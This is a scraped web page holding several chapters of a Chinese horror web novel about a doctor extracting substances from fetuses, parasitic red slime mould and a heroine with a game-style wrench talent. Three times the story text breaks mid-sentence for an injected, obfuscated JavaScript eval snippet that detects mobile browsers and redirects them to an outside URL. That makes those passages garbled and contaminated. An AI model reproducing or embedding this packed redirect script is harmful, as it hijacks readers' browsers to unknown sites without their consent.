【叮!初次使用活动扳手,经验值+50,活动扳手升级为2级,距离下次升级还差两次有效使用。】 【叮!活动扳手获得1营养点,开启天赋-拆卸(初级)。】 【天赋说明:一把好的扳手,能让您在拆卸物品时更加得心应手,谁说只有机器能被拆卸,或许生物也可以哦,不妨试试呢~】 在这无边的墨色中,熟悉的女声响起,解说天赋时,她的声音变得有些俏皮。 天赋是什么?扳手不是本来就用作拆卸的吗,说明的意思是人也可以拆卸? 听上去有点瘆人啊。 还是初级,这要是升级以后会怎么样呢? 至于营养点……程昭想起刚才扳手上的那一点血迹,嘶,不会是她手劲太大,给用成灵魂提取器了吧…… 走廊灯没有预兆地瞬间亮起,刚适应了黑暗的眼睛感到些许刺痛,程昭揉了揉眼睛。 “董老师,羊源胚胎的数据出来了,细胞排异反应很大……”一沓表格递到了程昭的手里。 程昭困惑地看着面前的年轻人,走廊刚才还没人的,他是从哪里来的? “我知道了。上周给你的那个胚胎组织的数据呢?”一个男人的声音从程昭嘴里冒了出来,要不是这个声音听上去很像董飞的,她都要怀疑自己被换了机械声带。 “啊,那个还没做完,不过按目前的进度来看数据很好,排异情况只有10%以下,改进提取工艺,敲除特定蛋白以后,很有可能降到2%以下……”说到这个,对面的年轻人眼睛都在放光,“董老师,那个胚胎组织很适合作为供体啊。是来自什么动物呢,我感觉基因序列应该是接近人类的,金丝猴,还是猩猩?不过用它们提取的话,成本很高吧……” “董飞,跟我来一趟办公室。”一个头发半白的年迈医生招呼她过去。 程昭不受控制地跟着走了过去。 他们在办公室的扶手椅上坐下,程昭发现这个办公室的布置跟刚才那个稍微有点区别,这里墙壁上没有装绿灯。 “柯总在催进度了,深细胞那个项目你研究得怎么样了?” “快出成果了。”程昭说。 “那就好,这个项目如果成了,那我们医院可就颠覆整个医学界了。”老者特意站起来,越过办公桌,拍了拍她的肩膀,“我明年3月就退休了,柯总很看好你,或许明年这个时候,他们就要叫你董院长了。” 程昭谦虚道:“院长,您太抬举我了,我资历还浅,多的是大主任排在我前面呢。” 老者呵呵一笑:“我还不知道你吗,你能从省一院辞职来我们医院,不就是因为我们这儿不看资历,只看实力吗?放心,柯总跟我都看在眼里的,我们医院,没别人能跟你争了。当然,前提是深细胞这个项目能够投产……” 还没听完他的话,程昭感到脚下的地面像突然被抽空一样,整个人倏地掉了下去。 预料中的粉身碎骨没有出现,她站得好好的,身旁多了一个穿着粉色孕妇连衣裙的温婉女人。 身处的环境也变了,他们在一间刷着粉色墙漆的门诊操作室里。 “药拿来咯。”一个医生推门进来,手上端着托盘,“姚医生,董主任对你是真好,次次产检都陪着来。” “他哪是对我好,他是怕宝宝出了什么事。”女人似嗔似怪地瞪了程昭一眼。 程昭轻叹一口气,揽住了女人的腰,手抚在她隆起的肚皮上,“都怪我们翊儿不安分,害得你要吃这么多苦头。” 女人看着医生把安瓿瓶里的淡粉色液体都抽进注射器里,托盘里还放着一根长约20公分的针头,她害怕地往程昭怀里缩了缩。 程昭安抚地摸了摸她的头:“不怕不怕,我们薇薇很勇敢的,这是最后一针了,以后都不用打了。” 姚薇点点头,撑着后腰,姿势笨拙地躺到了操作室中间的治疗床上,程昭贴心地托着她的后背,让她慢慢靠到床面上,然后握住了她的手,嘴里还在哄着:“等翊儿满月以后,我们就全家出去旅游,去看你一直想看的百里杜鹃……” 医生看他们恩爱的样子,自嘲般地摇了摇头,他还不知道什么时候能求婚成功,过上这样老婆孩子热炕头的幸福生活呢。 只是晃神了那么一刻,从窗外飘进来一颗红色的孢子,落入了针筒的管口。 红色的孢子在粉色的液体中并不显眼,医生没有注意到这个小意外,把长针头插在了针筒上。 “耦合剂有点凉,放松哦~”冰冷的B超探头在裸露的肚皮上滑动,屏幕上显出深浅不一的回声影,“要开始打针了,忍一下不要动哦。” 姚薇抓紧了程昭的手,抓得她手心都痛。程昭低下头,贴着她的耳朵低语:“没事的,忍一忍,很快就过去了……” 长长的金属细管尖锐的一头扎破皮肤,深入皮下,穿破子宫,在B超的引导下,扎进了胞宫中孩子的身体。 “啊!”姚薇痛苦地大叫起来,程昭眼疾手快,把胳膊伸过去给她咬。 等药物注射完,程昭胳膊上留下了两排渗血的咬痕。 但她并不在意,而是赶紧把妻子抱在怀里,一下一下捋着后背:“好了好了,不痛了不痛了……” 操作室的其他人都表现得很平常,但只有程昭看清了,那管针筒里,红色的孢子生长出了分支,黏附在管壁上,又受到推力压入了针头,送进了胞宫的胎儿身体里。 红色黏菌的真实来源是这里吗?一个无心的意外? 打针的药又是什么?真的是保胎药吗? 程昭已经明白了自己的处境,她在董飞的记忆碎片里。 拆卸——是连人脑中的记忆都能拆卸出来观赏的意思吗? 程昭看看怀里的孕妇,又看看台子上已经被抽干净的安瓿瓶。 粉色的保胎药、孕妇开腹手术、胚胎提取……她大概知道,这一切罪恶的真相是什么了。 她现在觉得,自己那一记扳手,还是敲轻了。 1号房间里的机器已经被污染了,那么由机器提取出来的深素有没有被污染呢? 手术室大门那一窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805373|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红眼睛又在她脑海中浮现,她那时没敢细看,现在想起来,并不是整个眼睛完全变成了红色,而是眼瞳里生出红线,分支呈网状遍布了整个巩膜。 门外的“人”都是注射过深素的人,他们已经被红色黏菌寄生了。 如果一切的起源真是如此,那么除了1号手术间,这个手术室里还有一个地方,也有菌源。 肖音音做手术的那个房间,就离生物材料间不远。 遭了,蒋裕他们有危险! —————————— 生物材料间最后一排的架子上,红色菌丝从胚胎左眼里伸出来,在保存液里飘动,渐渐漂浮到了玻璃罐的顶上,往玻璃盖和罐体的粘合缝里钻,菌丝柔软却坚韧,一点一点顶开了盖子。像一条细长的虫子往外蠕动,它没有生出分支,目的明确地向门外移动。 此刻的手术间,蒋裕正在撺掇肖音音。 “唱一个呗,随便唱啥都行,我还没去现场听过演唱会呢。” 肖音音红着脸:“我,我声音不好听……” “很好听啊。”顾镜如也在一旁帮腔,“你这嗓子,不火没天理了。” 她跟肖音音年纪相仿,平时也爱追星,在她听来,这嗓子可比那些当红爱豆强了不是一星半点。肖音音外形也好,离一夜爆火就差一个选秀节目了,而且绝对是团里大vocal级别的! 红色菌丝从生物材料间里探出头来,展开四五根分支,往各个房间的方向伸去。 “但是我刚做完手术,我还不太适应……” “哎呀,等你适应了,咱们都不一定还能再见了。”蒋裕说道。 肖音音也有这种预感,或许等她出了这个手术室,就再也不会见到这几个帮助她的好心人了。 她只好妥协:“那我就唱一个,我自己很喜欢的歌吧。不是我自己发行的歌,那些歌都是配机械声带的,跟我自己这个声音不搭。这首歌是我换声带之前就经常唱的。” “你别勉强啊,刚做完手术悠着点,不用为了炫技飚青藏高原的啊!”蒋裕就是这种人,明明刚才撺掇得积极,但真要唱了,又怕人家嗓子受不住。 肖音音眼睛弯弯的:“虽然不知道青藏高原是首什么样的歌,不过听名字调就挺高的,没练嗓子的话,我现在估计也唱不上去。我就只唱一首简单的歌,真的很简单哦,你别抱什么太大的希望。”说着说着,她又不好意思起来。 “没事没事,你唱儿歌都行。” “其实也差不多啦。”肖音音清了清嗓子。 走廊里的菌丝收敛了那些没有收获的分支,只留下一根继续向前,从手术间的门缝里钻了进去。 手术间的三人正围坐在手术台上,谁也没发现脚下已经慢慢编织成了一张稀疏的红色地毯。 肖音音在蒋裕和顾镜如鼓励的眼神中张开了嘴。 “我的宝贝~宝贝~给你一点甜甜,让你今夜都好眠……” 她唱歌时沉浸地闭上了眼睛,微点着头打节拍。 其余两人也跟着她的律动轻打着拍子。 地上的红色图案仿佛定格般,没有再进一步。 13. 手术室请安静10 程昭赶到手术室门口时,命都要被吓掉半条。 手术台上三个人倒是在开沉浸式演唱会,地面上的红色菌丝正如同一窝新生的蠕虫般扭动,已经包绕住了手术台的升降柱。 她想也没想,就把手中的扳手甩了出去。 扳手落在菌丝团中,瞬间就被吞没,消失无踪。 【叮!使用活动扳手(2级),经验值+50,距离下次升级还差一次有效使用。】 【叮!活动扳手获得1营养点,距离‘拆卸’天赋升级还差8营养点。】 黑暗再次降临。 程昭感觉自己像是跳入了游泳池,这回没有亮光,她只能凭借着本能向上游去。 但四面八方都是水,仿佛置身无边的海洋深处。 好在她并没有窒息的感觉,甚至没有屏气,她不知道自己是不是变成了一尾鱼,好像可以在水中自由呼吸。 有波浪打在她身上,力道不大,就像按摩一样舒服。 程昭甚至有点享受这种感觉,就像在妈妈的怀抱里一样安逸。 可这种平静安详的氛围没有维持多久,头顶上的“水面”突然被劈开,她见到了一条光的裂隙。 那条裂隙越来越大,周围也逐渐被照亮,一双大手从裂缝中伸了进来,就像一个巨人入侵了这方安稳的小世界。 她被这双手抱起来了。 “出来了吗?男孩女孩?” “……男孩。” 程昭脱离了温柔的水,暴露在干冷的空气中,跟穿着手术衣的人对视。 虽然戴着口罩帽子,她认不出来,但她能确定这个声音,是董飞的。 “给我看看。” 程昭想转过头去看看女声的来源,但她的身体好像很难控制,努力了几下都没成功,只能尽量用眼睛余光去瞟。 是手术台上那个刚被剖开肚子的女人在说话,程昭只能看到她鲜血淋漓的宫腔,看不到她的脸,被器械台挡住了。 那个女人,虽然清醒着,却也无法支撑起身体来看看这个刚从自己子宫里拿出来的东西。 “等一会儿。” “怎么了,孩子有什么问题吗?”女人的语气听上去很紧张。 “没什么,要先采血。” 透过铺巾上血管钳的反光,程昭看到了自己的样子,一个没有四肢的肉团子,只有一个大大的脑袋,两只眼睛像是没发育完全的样子,没有眼睑和眼白,只有覆盖了一层肉膜的瞳仁,像是肉团上戳了两个点。 真难看啊,程昭移开了目光。 “机器准备好了吗?”董飞问身边的人。 “好了,董主任。” 程昭被人抱着,慢慢靠近一个黑漆漆的洞口。 她本能地害怕这个东西,“呜哇”一声哭了起来。 为什么要把她拿出来,她喜欢刚才那个温暖安全的地方,她才不要出来呢! 她越哭越凶,整个手术室都充斥着她尖利的哭声。 “宝宝为什么哭得这么厉害?”女人焦急地问道,“让我看看他。” “新生儿都会哭,不哭才有问题。”董飞的声音全然没有产检时的温柔,带着一股理性的冷酷。 程昭被放进了机器的口子里,身下是冷硬的金属板,她从有生命以来,还从未接触过如此冰冷的东西,刺激得她在板上蠕动起身体,可是她没有四肢,脊柱发育也有问题,她无法翻身,无法逃离,只能像一个虫子般蜷缩起来,想把自己缩得小一点,再小一点,这样就没有那么冷了…… 她好想回去啊,想回到那个有海浪轻拍尾椎的地方,为什么不让她回去? 她到底还要在这个难受的地方待多久? “董主任,姿势拟合不好,机器无法识别。” 刚才那双手又伸了进来,强行把她掰开,后背紧压在坚硬的金属板上,她再次哇哇大哭。 “开定位器。” 身体上方垂下来几个金属半环,把她的身体固定在了板上,压得她喘不过气,小小的身体剧烈挣扎,娇嫩的皮肤被箍出了血痕。 “开始提取。” 机器嗡嗡作响,震动的频率从身下传来,但更可怕的东西在她头的上方。 一根尖头管子从上面伸下来,一束刺目的绿光照射进她的眼睛,她痛得尖叫起来,整个身体都憋得青紫。 在绿光中,有一条不起眼的殷红色菌丝从眼睛里探出了头。 管子前端已经根据绿光定好了位,机器轰隆隆地运作着,管子慢慢下移,对准绿色的点扎了下去。 却并没有扎进眼睛里,而是被几条细密的菌丝缠绕住了,无法更进一步。 “董老师,机器好像卡住了。” “重启试试。” “没法重启,完全卡死了!” “你干什么吃的!这是第一次正式试验,之前试用的几次不是都很顺利吗?” “对不起,我,我也不知道怎么会这样……明明步骤都没问题啊……” “叫工程师来,他们送来的机器,必须随时待命负责!” “好的,我立刻联系!” “怎么了?”那个女人的声音又响起,“采血还没好吗?为什么宝宝还在哭?他哭得好可怜,肯定是想妈妈了,让我看看他,我……” “闭嘴!”董飞暴怒地喝住了她。 女人一愣,随即声音带上了哭腔:“到底怎么了,是不是宝宝不好?我要看看孩子,我要看他!” 程昭小小的身体,用尽全部的力气嚎啕大哭,声音凄厉悲惨,手术室里有人忍不住捂上了耳朵,但那几乎能掀翻头盖骨的尖锐啸叫声依然穿破鼓膜,刺进脑海中。有些人承受不了,痛苦地抱住了头,鼻血一滴滴流下,濡湿了手术衣。 “董主任,工程师说两小时后来……” “还要两个小时?!”董飞双目微凸,手背上青筋暴起,抓着面前医生的领口把他提起来,“等他过来,我这台手术已经失败了!下一台就是李俊的手术,如果他在我之前完成首例,我就要被他踩在脚底下了!我不允许,我决不允许……” “董、董主任……可是机器,机器它……” “试!再给我试!哪怕试到坏了也要试!” “可是,这个机器那么贵,只此一台,要是坏了……” “坏了我赔!” “好,我、我再试试……” “你不能起来!”护士惊叫道。 女人不顾肚子还打开着,硬是撑着坐了起来,面无血色,嘴唇惨白,“董飞,宝宝呢?我们的宝宝呢?” “宝宝?”失败的压力令他再也无法维持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805374|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伪装,表情厌弃地看着手术台上的女人,“哪有什么宝宝,只有一个垃圾试验品罢了。” “什么?”女人呆呆的,完全无法理解他的话。 “蠢货。”他冷冷地吐出两个字,不耐烦地撇开脸,“试得怎么样了?” 那个年轻医生碍于他的压迫,忍着恶心把手伸进机器口子,手动排除卡顿。 他好像摸到了一些黏黏糊糊的东西,整张脸都难受得皱在一起。 “宝宝,我的宝宝!” 回到现实的前一秒,程昭看见姚薇的脸出现在那个狭小的口子外,她满脸涕泪,瘦削的手指艰难地伸向她。 “妈妈救你……” “呼——”程昭头痛欲裂,强忍着呕吐的感觉,睁开了眼睛。 视野里是数圈灯泡的无影灯,但很快,几张焦急的脸遮住了灯光。 蒋裕:“你还好吗?” 程昭点点头,动了动手指,撑着床沿要起来,蒋裕赶紧来扶她,嘴里碎碎念着,“你真是吓死我了,刚才看到下面都是黏菌的时候,我以为今天就要死在域了,你那么一扔,它们都退回去了,没想到黏菌居然怕扳手,是不是有智慧啊,怪瘆人的……” 程昭没有在意他的话,她此刻的注意力都在另一个女生身上。 她问顾镜如:“董飞要给你做什么手术?” 顾镜如一愣,支吾道:“就是……小手术。” 程昭此刻的表情严肃得可怕,顾镜如不敢跟她对视,心虚地低下了头。 但程昭并没有就此揭过去,而是下了床,按着她头,逼她跟自己对视。 “说实话,是什么手术。” “就,就……”顾镜如结巴了半天,也没说出来。 “是堕胎手术,对吗?” “啊!”肖音音惊叫一声,随机连忙捂住了自己的嘴。 顾镜如连连摇头,一步步往后退,眼里渐渐积蓄起泪水。 程昭继续说:“你不是因为没钱,所以找他做手术,你是不敢让人知道,所以不去医院的,对吧?” 顾镜如咬着下唇,面如死灰。 “他怎么跟你说的?是不是说他会偷偷给你做,在一家废弃的医院里,不会有任何人知道,天衣无缝……” 哭得楚楚可怜的女生语带颤音:“我没有办法,我才刚上大学,我不能让人知道……爸妈会打死我的……” “他是不是还跟你说了,做手术之前要先打针?” 顾镜如已经泣不成声,身体无力地滑落,蹲在墙角崩溃地点头。 程昭叹了口气,走过去抱住了她:“别怕,还来得及。” 蒋裕:“程昭,你是不是知道了什么?” “我要去毁了那台机器。”她扶着顾镜如站起来,眼神坚定如铁。 “1号手术间里的?” “对,它是所有一切的源头。如果我没猜错的话,毁了它,我们就能出去了。” “好,那我们赶紧吧。”蒋裕快速看了一眼手环,“还有不到六个小时了。” 程昭拾起扳手,插在后腰,“走吧。” 走廊里空空如也。 程昭呻吟一声,捂住了脸。 怎么就犯了大部分影视剧里都会犯的错误呢? 忘记给坏人补刀,董飞跑了! 14. 手术室请安静11 程昭是最后一个进1号手术间的。 她没找到董飞,但她有种感觉,那家伙绝对不是凭空消失了,一定是蛰伏在某个地方伺机而动。 非法做手术不是他的目的,他真正的目标只可能是那台怪异的机器,现在是跟他拼速度的时候了。 “你打算怎么破坏?”蒋裕轻声问道。 跟董飞的那场手术,让他们都忘了正常音量说话会吸引黏菌,直到经历了刚才的惊魂时刻,大家才警觉起来,非必要不说话,要说话也尽量压低音量。 穿过地面上的隔音包,程昭站在巨大的机器面前。这个机器有一人多高,接近两米,宽度约莫成年人臂展那么长,正面是开口,侧面有一个显示屏,触摸后会亮起,界面倒是很简洁,只有三个按键,一个开始的图标,一个结束的图标,还有一个设置的图标。 她看着界面,愣了神。 显示屏左上角,有一个淡淡的水印图标,那是红色线圈组成的正圆形,圆心处还有一个点。 跟原主在镜子上画的图案完全一样。 程昭心脏狂跳。 她还不能想清楚这其中的关联,但她敢肯定,这不会是什么无聊的巧合。 难道说这个图案,就代表了平行世界的交换吗? 她屏住呼吸,点了一下那个图标,或许下一秒,她会被吸入另一个世界。 几秒钟过去了,什么都没有发生,这好像就只是一个背景水印,没有任何作用。 程昭有些失望,但也无可奈何。 她点进设置里,显示需要密码才能进入。她输入123456,跳出了黄色感叹号的警告标志。 果然密码不是这么好猜的。 她转而去找电源,想先把机器的电断了,但是很奇怪,在机器周围没有看到电线和插头,难道电源在机器底下? 程昭跟蒋裕合力去推机器,机器太过沉重,他们努力了十分钟,累得满头大汗也没能让机器移动分毫。 她掏出扳手,示意蒋裕退后。 拆卸天赋用来破坏机器,专业很对口吧。 银色的扳手头部敲在坚硬的机身上,想象中的解体没有出现,一股奇异的震动传递了回来,震得她虎口发麻。 【警告!对象等级高,初级天赋无效。】 初级这么拉?她看对付董飞和红色黏菌都很容易的样子,还以为这玩意儿很厉害呢! 不过也说明这个有着特殊图案的机器确实非同一般。 在胎儿视角经历的一切,让程昭对这个东西的来源有了新的想法。 本来她想当然地以为是医学研究先发现了深素这种东西,为了方便提取才研制了这样一台机器。但助手跟董飞的话,让她想到了另一种可能。 会不会是先有人送来了这个东西,然后他们才在不断试验,哪种供体产出的成品效果更好,最后才锁定了人类胚胎做供体呢? 蒋裕信誓旦旦地说自己在原泡世界从未听过深素这种东西,至于机械器官,虽然也有几个顶尖医学团队在研究,但至今仍未听过有成功的手术案例。 那么董飞怎么会做这个手术呢?他明明就是从原泡世界误入重叠域的啊。 或许,不是“误入”呢? 程昭才刚来没几天,对于泡世界运行规则的了解还只是冰山一角,问蒋裕,他也说不出个所以然来,说那都是空间科学家研究的内容,他们作为急救医生,只负责救人,并没有探究过,重叠域到底是怎么形成的。 要搞清楚这个问题,一七医院的同事们是无法回答她了,或许等出去了,她该去查查文献,看看空间科学家们研究到哪一步了。 如果能掌握重叠域形成的规律,她大概就能回去了。 思绪收回,她屏住呼吸,把手伸进了那个漆黑的口子,才进去没几厘米,就受到了阻碍,原来里面还有一块挡板,不是直接连接到机器内部的。 蒋裕戳了戳她的肩,让她去看显示屏上的弹框——“未检测到供体”。 看来只有检测到供体,开口才会自动打开。 她刚才在里面摸了一遍,挡板的四边都严丝合缝,无法从外面抠开。 这个机器外壳坚硬,电源也是隐藏的,要从外面破坏几乎没可能,只有进去机器内部,才可能有点机会。 能去哪里找供体呢? 程昭的目光落到顾镜如的肚子上,但很快又移开了。 她不是妇产科的,没那个本事,而且这种操作本身就违背了医疗伦理,她还是有职业道德的。 生物材料间的那个胎儿形态是完整的,是不是说明,他最后确实成功逃过了提取? 那么,二次利用一下,也不是不可以吧? 程昭交代好蒋裕,只身前往了生物材料间。 在门口的时候,她又死命拔了拔吸在磁性门锁上的羊角锤,稳得一批,纹丝不动。 她开始担忧起来,如果进一个域就要报废一个工具的话,她工具箱里总共四样东西,够用几回啊。 生物材料间里静悄悄的,程昭蹑手蹑脚走进去,分贝仪跳动起来,好在都在个位数浮动,没有引起什么特别的动静。 她把扳手攥在手里,生怕董飞从哪个犄角旮旯里冒出来偷袭。 最后一排架子上,畸形的胎儿安稳地漂浮在澄黄液体里,但程昭发现,玻璃罐本该用胶粘合住的地方有了缝隙。 她没猜错,刚才手术间的红色黏菌就是来源于此。 程昭小心翼翼地捧起玻璃罐,这可比肖音音那片小小的声带要沉得多,她几乎是咬着后槽牙,才能把它整个抱在怀里。 如果此刻黏菌受到刺激疯长起来,她将避无可避。 她深吸一口气,抱着玻璃罐,缓慢地迈出一步。 脚步并没有什么声音,但心脏却在胸腔里剧烈跳动,心跳声大得她自己都能听清节拍。 程昭在走廊里走得很慢,几乎走两步就要停下来看看四周,再看看怀里的东西有没有什么变化。 怀中的玻璃罐在渐渐下沉,程昭平时就不爱锻炼,抱着这么一缸水战战兢兢走了一路,两条细胳膊酸胀打颤,要不是太过紧张,肾上腺素刺激着肌肉,她早就无力脱手了。 一进手术室,蒋裕就立刻帮她托住了玻璃罐,程昭松了口气,甩了甩手,连手指都是麻的。 “你打算放进去?” 程昭点点头,忍着针扎般的刺痛感,戴上橡胶手套,掀开了玻璃罐的上盖。 手伸进去的时候发现里面的液体并不像水那样稀薄,而是有种粘滞感,会有一股无形的力拽着手往下沉。 但好在并不是真的有什么东西在里面,只要用点力还是能控制的,她双手探到下面,从胎儿的底部把它抱起来,像妈妈抱着自己的孩子。 这种感觉很奇妙,她甚至不自觉地颠了颠,就像在哄孩子入睡那样。 可惜,他不是一个正常孩子。 所以,他没有入睡,反而睁开了眼睛。 程昭本以为他是没有眼睑的,但对视的那一刻,看到眼睛两个点的位置翻起了一层肉膜,两个白珠子露了出来,中央一点红色,像是红色的瞳仁。 红点本来只有针尖大小,慢慢扩大,却不是实心的,而是放射性撑开成网状,外围一圈像是细小的虫子在往外游,不多时就填满了整个眼白。 在这种情况下,或许一般人会立刻把这个畸形儿扔出去,但程昭没有这么做。 她轻轻唱起了摇篮曲:“睡吧,睡吧,我亲爱的宝贝……” 程昭努力跟记忆中的歌声相靠拢,但还是有些找不着调。 红网向外扩散的趋势缓慢了一些。 “睡吧,睡吧,我亲爱的宝贝……”一个甜美柔和的声音从身后传来,程昭一看,是肖音音轻和着她的歌声唱着。 红线就如同打鱼收网般收束在一起,眼白又变得清晰了。 程昭闭上了嘴。 “妈妈的双手,轻轻摇着你……”轻柔的歌声如同摇篮般安抚着眼里蠕动的红线。 眼白中央的红点隐入了眼睛中,上方的肉膜往下一盖,眼睛处又只剩两个微微凹陷的点。 蒋裕:“这个菌怎么还看唱功的啊。” 程昭:“我唱歌难听自己知道,没必要说出来,谢谢。” 蒋裕:“哦哦,我以为你不知道呢。” 程昭:“虽然听起来很真诚,但是你的嘴角出卖你了啊混蛋。” 蒋裕不再贫了,走到机器侧面去操作,程昭小心托着那个肉团,放进了机器的开口里。 蒋裕给她比了个“OK“的姿势,程昭能感觉到里面有一些机械齿轮转动的声音,挡板打开了,她把胎儿推了进去。 触控屏前的蒋裕把手指点在“开始”键上。 “等一下。”程昭突然叫住了他。 “怎么了?” 程昭皱眉:“虽然我本来的设想就是把供体放进去,诱使机器打开,在启动过程中把它破坏掉。但总有一种感觉,如果按下去了,我们跟那些提取深细胞来获取利益的人,又有什么区别呢?” 蒋裕并不认同:“我们就是要毁了机器啊,出发点跟他们是相反的。” 看着那个幽深的洞口,程昭想起来自己躺在里面时那种恐惧绝望,像有一只手攥住了心脏,一阵阵发酸的疼。 “或许,还有别的办法……”她把手伸了进去。 蒋裕急了:“临门一脚,早点结束早点回去,我是一刻都不想在这鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805375|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方待了啊!” 可是程昭的手在里面,他也不敢按下去,怕伤害到程昭。 屏幕上开始的按键被点亮,机器轰隆隆地响了起来。 “程昭!”蒋裕呆愣着瞪大眼睛,他没有按啊。 “呵呵。”一阵令人毛骨悚然的笑声贴着他后背传来。 程昭已经摸到了胎儿软软小小的身体,她没有因为听到机器声就放手,而是选择拖着胎儿往外拉。 机器内部有金属条压住她的胳膊,她已经来不及抽离了。 董飞如鬼魅般从手术室墙壁里浮现出来,不知道他是怎么做到的,宛如变色龙般跟墙面的隔音棉融为一体。 原来他一直都在1号手术间里,看着他们的一举一动,享受着他们为自己做嫁衣。 蒋裕转身面对他,把另外两个女生都护在自己身后。 “董飞,你不要再执迷不悟,如果你在这里对我们出手,一七医院不会放过你的。” 对面的人笑得更厉害了,嘴角几乎咧到了耳朵下,“等我伟大的制剂诞生,我将成为整个医学界最有地位的人!一个不三不四的医院,你以为我会放在眼里?” “深素根本就是一场骗局,你骗骗自己得了,骗不了所有人的!” “啧啧,你这么说,只是因为你没有福气享受它罢了。只要注射过一次,你就能体会到极乐的滋味……”他一边说,一边舔着自己的嘴唇,眼神迷离,仿佛在回味。 “你也注射过?” “当然,这么好的东西,大自然的馈赠,医学的巅峰,我怎么会自己没有试验过。” 程昭能感觉到机器深处传来的吸力,她在跟这股力量对抗,争抢着一个小怪胎,她感觉自己的手指在被拉扯,一个个指节都快要分离,疼得她叫起来。 蒋裕要去关机器,却被董飞一脚踢到了地上,他挣扎着起来,又被一脚踩在了胸口上,压得他不能呼吸。 “小伙子,你还年轻,我跟你一样年轻的时候,也有一腔热血,觉得凭自己的努力,就能改变这个世界…… 但是后来我发现,不是的,这个世界不是付出就有回报的,选择远比努力重要……” 蒋裕抱着他的腿,一口咬在他的小腿上,董飞吃痛松开了脚,蒋裕一个翻身跟他拉开距离。 还没站定,董飞就又一个闪身出现在他身后,挥拳把他打倒在地,“年轻人,你太慢了。” 蒋裕吐出一口鲜血,背部疼痛欲裂,试了几次都没能爬起来,他觉得很不对劲,虽然自己不算什么运动健将,但也是习惯健身的,没道理才20多岁的人,敏捷度比不过董飞这个中年人。 董飞似乎能读懂他心里所想,又张狂地笑起来:“现在你知道了吧,这就是深素的效果。所以,没有人可以拒绝它的诱惑,我将用它颠覆世界!” “你放屁!”程昭骂道,“你就是个loser!你连干坏事都干不过李俊!” “他?”董飞的笑容僵在脸上,表情一下子变得扭曲,“他跟我比?他就是个小偷!都怪那个女人,她毁了我的计划!如果不是她,我就是第一例,第一例成功的!都怪她,让李俊这个卑鄙小人抢了先,我不会放过她的,当然,李俊的账我也要算……” “你把她怎么样了?”程昭心下一沉,听这个畜生的意思,姚薇似乎也遭遇了不测。 “她?”董飞两只眼睛都激动得凸了出来,伴随着震颤,像一个甲亢病人,“我当然是把她大卸八块扔进了机器里!可惜她是个老女人了,身上已经提取不到新生儿才有的深细胞了。还有那个怪胎,该死的,怎么会提取失败,我就知道那个小白脸是个肌肉发达头脑简单的蠢货,但我真没想到他的基因能差成这样!” “小白脸?” “对!我的学生,一个大蠢货!”董飞把手指插进头发里,用力地拔着自己的发根,连头皮都拉了起来,但他完全感觉不到疼痛似的,“如果不是我自己不行,我怎么可能让他来,这是我倾注了全部心血的项目,就这么毁于一旦了!他居然还举报了我,害得医院被查封,我像只地沟里的老鼠一样东躲西藏!” “所以,你自己给自己戴绿帽子?” 董飞的脸涨成了猪肝色:“什么,什么绿帽子,我是为了医学!是崇高的牺牲!” 机器的轰鸣声中夹杂了一些呲啦呲啦的电流声,处于癫狂中的董飞自然是听不到的,但是还被卡在机器中的程昭听得很清楚。 程昭突然笑了:“能把ED说得这么好听,我也是第一次见了。” “你找死!”他嘶吼着,手在屏幕上拼了命地狂点。 “啪。”屏幕突然黑了,倒映出董飞那张狰狞的脸。 程昭:“不好意思,你可能要死了。” 15. 手术室请安静12 “什——啊啊啊!”董飞还没反应过来,突然屏幕中央传来浓烈的焦糊味,一颗钉子弹出来,射进了他的右眼,顿时血流如注,把半边脸都染红了。 他捂着眼睛,跌跌撞撞地跑到手术室柜子前去找纱布止血。 身后的机器内部传来巨大的爆裂声,程昭被冲击波震出去老远,后背砸在墙面的隔音棉上,倒是有些缓冲,不至于撞出个脊柱骨折来。她手臂上两条红痕正在渗血,手指被拉扯到变形,好在骨头没断,虽然很痛,但勉强还能活动。 机身表面炸出了好几个洞,金属碎片乱飞,肖音音和顾镜如躲在手术台下面瑟瑟发抖,蒋裕还没能站起来,有两个碎片扎在他背上,好在不深,他自己就能拔了。 程昭看见洞口处隐隐有红色在冒头。 董飞一只眼睛流成了血窟窿,全靠另一只眼睛在看,他刚找到棉垫按在右眼上,还没来得及绑上绷带,动作就顿住了。 他低头一看,红色细长菌丝缠绕在躯干上,菌丝顶端张开了带有密密麻麻小尖牙的口器,一下刺进了他的左胸。 